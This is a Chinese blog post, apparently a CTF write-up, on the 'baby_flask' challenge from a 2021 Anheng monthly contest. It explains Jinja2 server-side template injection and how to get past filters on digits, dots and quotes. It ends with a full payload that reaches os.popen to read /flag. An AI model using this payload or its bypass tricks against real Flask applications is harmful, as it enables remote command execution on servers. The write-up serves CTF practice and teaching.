ssti之安恒月赛baby_flask学习

安恒2021三月份月赛web题的baby_flask复现

语法

1
2
3
4
{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

过滤器

http://www.bjhee.com/jinja2-filter.html

关注 join这个过滤器

在这里插入图片描述

我们可以 使用attr 取值 使用join拼接我们需要的字符 pop取得我们想要的值 当然了这题 数字和 点都被过滤了

我们可以使用unicode的数字绕过 https://www.compart.com/en/unicode/bidiclass/EN

在这里插入图片描述

当然了 也可以使用 index 来构造数字

如: {%set e=(lipsum|string|list).index('<')%}{{e}}

在这里插入图片描述

当然了 单引号也被过滤了 所以我们使用join拼接出我们需要的数字

如:{% set tt=dict(t=a)|join%}{%set e=(lipsum|string|list).index(tt)%}{{e}}

在这里插入图片描述

有了数字我们再构造chr就可以构造任意字符了

获取内置方法 chr为例 这里我们使用 lipsum.__globals__['__builtins__'].chr

1
2
3
4
5
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)

参:https://blog.csdn.net/miuzzx/article/details/110220425

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
?name={% set id=dict(ind=a,ex=a)|join%}
{% set pp=dict(po=a,p=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set cr=dict(ch=a,r=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set ooqq=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %}
{% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(cat,space,xiegang,dict(flag=a)|join)|join %}
{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}

# 斜杠 点 都是通过 chr函数构造
相当于:lipsum.__globals__.get('os').popen('cat /flag').read()

参:https://www.plasf.cn/

https://blog.csdn.net/rfrder/article/details/115272645

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~